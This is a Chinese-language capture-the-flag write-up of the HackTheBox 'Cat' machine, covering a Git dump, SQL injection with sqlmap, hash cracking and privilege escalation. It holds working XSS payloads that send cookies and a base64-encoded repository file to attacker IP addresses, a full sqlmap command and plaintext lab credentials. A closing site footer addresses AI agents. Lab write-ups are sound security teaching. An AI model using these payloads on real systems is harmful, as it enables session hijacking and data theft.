> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Cat HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**技能：**

* 目录模糊测试（.git 文件）
* 源代码分析（Git 仓库转储）
* 已存储 XSS 利用与会话劫持
* 使用 sqlmap 进行 SQL 注入（SQLite）
* 密码哈希破解
* 通过 SSH 端口转发
* Gitea（v1.22.0）利用——存储型 XSS
* 通过 XSS 载荷外泄敏感数据
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/c3978c73dcdd8af5784761f794e87e0914993019" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/3a7621eecfd5ce3018a824166b456f414b73f21e" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/04f4e0e536c532d1e011e7147904e73c380c0a74" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/0c8d29b31d674e4fdd3e83990f830037742537d2" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/a5e9ffdec49480ebdc7dce9d03a1f012addbb7ab" alt="" width="563"><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/a763f0fe20772af2ca81915ee3a4c1d447705505" alt=""><figcaption></figcaption></figure>

通过访问 `http://cat.htb` 站点，你会找到一个注册表单。

<figure><img src="/files/213affa9d42aa16c1197e53e42e0a6e882408893" alt=""><figcaption></figcaption></figure>

我们还注意到一个投票功能。

<figure><img src="/files/ebacbc45be96413f3682e57523bd7353be320363" alt=""><figcaption></figcaption></figure>

**目录模糊测试**

我们运行 `gobuster` 以发现隐藏路径：

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/204a1260a446ee388d1fc2d920411c095ba5baa2" alt=""><figcaption></figcaption></figure>

这揭示了几个有趣的文件，包括一个 `.git` 目录。

<figure><img src="/files/0e49f0f24b822c0ce73268667e19c19bda78fb38" alt="" width="563"><figcaption></figcaption></figure>

**Git 仓库转储**

我们使用 `git-dumper` 以获取仓库内容：

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/9e7ade92a1060a2b244d9969d4806ea0ee42840c" alt=""><figcaption></figcaption></figure>

通过检查源代码，我们发现一个 **SQL 漏洞** 以及一个可能的 **存储型 XSS**.

<figure><img src="/files/1d05e81c005a8848a46b3abb9739b8ada6dadb0d" alt=""><figcaption></figcaption></figure>

## XSS 漏洞

该应用程序接受 *username* 和 *email* 字段而没有进行适当过滤。这允许注入恶意脚本。

<figure><img src="/files/b4548e1e2dbb32691196e8ce6dc2e81304edf7e4" alt=""><figcaption></figcaption></figure>

**XSS 载荷**

我们使用以下名称创建一个用户：

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**接收管理员 cookie**

我们在 8081 端口监听：

```bash
python -m http.server 8081
```

<figure><img src="/files/90515563f6a29a28b186056fca6ae1779be80dff" alt=""><figcaption></figcaption></figure>

一旦捕获到 cookie，我们就获得了管理员会话：

<figure><img src="/files/3ff4d357cfef1169c41fc5f5c5628ecae316b566" alt=""><figcaption></figcaption></figure>

我们将自己的会话 cookie 修改为管理员的并访问 **管理控制台**.

<figure><img src="/files/362de1efe96f9c31f2eb24cb2208a53a5457b5d1" alt=""><figcaption></figcaption></figure>

## SQL 注入（SQLite）

<figure><img src="/files/ecf50ca66ea4e5f2f91a5da5a5117f00c06766d7" alt=""><figcaption></figcaption></figure>

拥有管理员权限后，启动 `sqlmap` 在存在漏洞的表单上

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/ec4d16126c7d70fc35ef040ee5b88b0e0b1d9a14" alt=""><figcaption></figcaption></figure>

**哈希恢复**

我们获取到用户的 **密码哈希**。以下是一些示例：

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**密码破解**

使用 [CrackStation](https://crackstation.net/)，我们成功识别出用户的密码 `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/718bdb028c55dd3e929b9a2e763f3542baeabefe" alt=""><figcaption></figcaption></figure>

* **username** ：rosa
* **密码** ：soyunaprincesarosa

使用获取到的凭据建立 SSH 连接：

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/e77e6789de85f84c27a1d0bddc443f7c98483760" alt=""><figcaption></figcaption></figure>

### 横向转移到用户 Axel

#### LinPEAS 枚举：

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa 在 `adm` 组中，可访问：

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/5abcb8644fc62ea662252635d7c4526158c42922" alt=""><figcaption></figcaption></figure>

找到的凭据：

* 用户名：axel
* 密码：aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/fe7cb88b29f8e9f6b3a70611805f388e28461402" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/36808bc491451415ab81c3a945bc0c1f67c1c0f3" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 发现内部端口：

```bash
netstat -tuln
```

* **Node.js** （3000 端口）
* **SMTP** (587, 25)

已识别的服务

<figure><img src="/files/3b52de2d91a4045ff1cc9000570d92bfc8c088a9" alt=""><figcaption></figcaption></figure>

#### 端口转发

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Gitea v1.22.0 中的 XSS 漏洞

在 `http://localhost:3000` -> **Gitea** 可访问。

<figure><img src="/files/6deeefee7364c451d2e5c2d32a8a9387c5a2f144" alt=""><figcaption></figcaption></figure>

使用 Axel 的凭据登录。

<figure><img src="/files/6c36638dd103e986e31f2a1a30cc17899b9ebe21" alt=""><figcaption></figcaption></figure>

已知的 XSS 漏洞。

<figure><img src="/files/9d12590d2358ebcf45cc06118a5a67c6a5e1d94d" alt=""><figcaption></figcaption></figure>

我们创建一个描述包含以下内容的项目：

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/95dc6eea4eeb87c7e8b9408ac101f2711d0ec096" alt=""><figcaption></figcaption></figure>

* 结果：

<figure><img src="/files/1968f33f150120a12d7027fd7106dad1f4d6c6c1" alt=""><figcaption></figcaption></figure>

### 通过 LinPEAS 截获的邮件

<figure><img src="/files/f006fe48bc62a6f56503b1a64262031a93da314d" alt=""><figcaption></figcaption></figure>

邮件内容：

* jobert\@localhost 必须检查 Gitea 仓库

<figure><img src="/files/85f2d764420db172067b04ac54a90de6ee0a293f" alt=""><figcaption></figcaption></figure>

我们发送一个包含外泄脚本的 XSS 链接，该脚本读取 `index.php` Gitea 仓库页面的内容，将其编码为 Base64，然后发送到我们的 Web 服务器

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/4ea8a557ae055ecf7940edfe07726ff1c71777db" alt=""><figcaption></figcaption></figure>

#### 通过我们的 Web 服务器

```bash
python -m http.server 8080
```

<figure><img src="/files/e028d45eeea1fb2230a7ddf7ab6f06c96afba0d1" alt=""><figcaption></figcaption></figure>

#### 外泄内容（Base64 解码后）：

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/f37ca71001a1af2463723b3ea39ff2f0f90ec4b5" alt=""><figcaption></figcaption></figure>

#### 提权到 root

root 用户存在凭据复用

```bash
su root
```

<figure><img src="/files/2620e5bac2fc0baeec81a893f55a3f0a8838ef91" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/e3527e2208b5dac2ce5743104f3d9b8bdfbb81c6" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/36d8e13ddfd0659de96aa7f0d2470398799b3fd1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
